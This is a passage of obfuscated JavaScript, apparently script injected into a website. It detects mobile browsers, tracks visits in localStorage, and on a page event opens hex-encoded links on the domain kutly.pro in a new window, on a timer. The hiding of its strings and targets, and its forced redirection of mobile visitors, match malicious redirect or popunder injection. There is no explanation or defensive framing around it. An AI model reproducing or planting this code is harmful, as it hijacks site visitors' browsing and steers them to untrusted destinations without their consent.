_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());